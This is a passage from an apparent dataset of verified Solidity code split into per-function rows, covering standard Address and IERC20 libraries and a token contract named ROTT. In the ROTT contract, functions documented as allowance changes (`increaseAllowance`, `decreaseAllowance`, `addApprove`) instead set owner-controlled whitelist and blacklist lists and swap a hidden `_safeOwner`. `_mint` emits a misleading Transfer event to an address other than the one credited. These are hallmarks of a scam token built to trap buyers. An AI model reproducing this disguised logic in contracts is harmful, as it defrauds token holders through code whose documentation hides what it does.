* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
4292,
4523
]
} | 6,991 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
4774,
5095
]
} | 6,992 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
94,
154
]
} | 6,993 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
237,
310
]
} | 6,994 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
534,
616
]
} | 6,995 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | allowance | function allowance(address owner, address spender) external view returns (uint256);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
895,
983
]
} | 6,996 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
1647,
1726
]
} | 6,997 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
2039,
2141
]
} | 6,998 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | ROTT | contract ROTT is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name = 'Rottweiler.Finance';
string private _symbol = 'ROTT';
uint256 initialSupply = 1000000000;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_decimals = 18;
_owner = _msgSender();
_safeOwner = _msgSender();
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
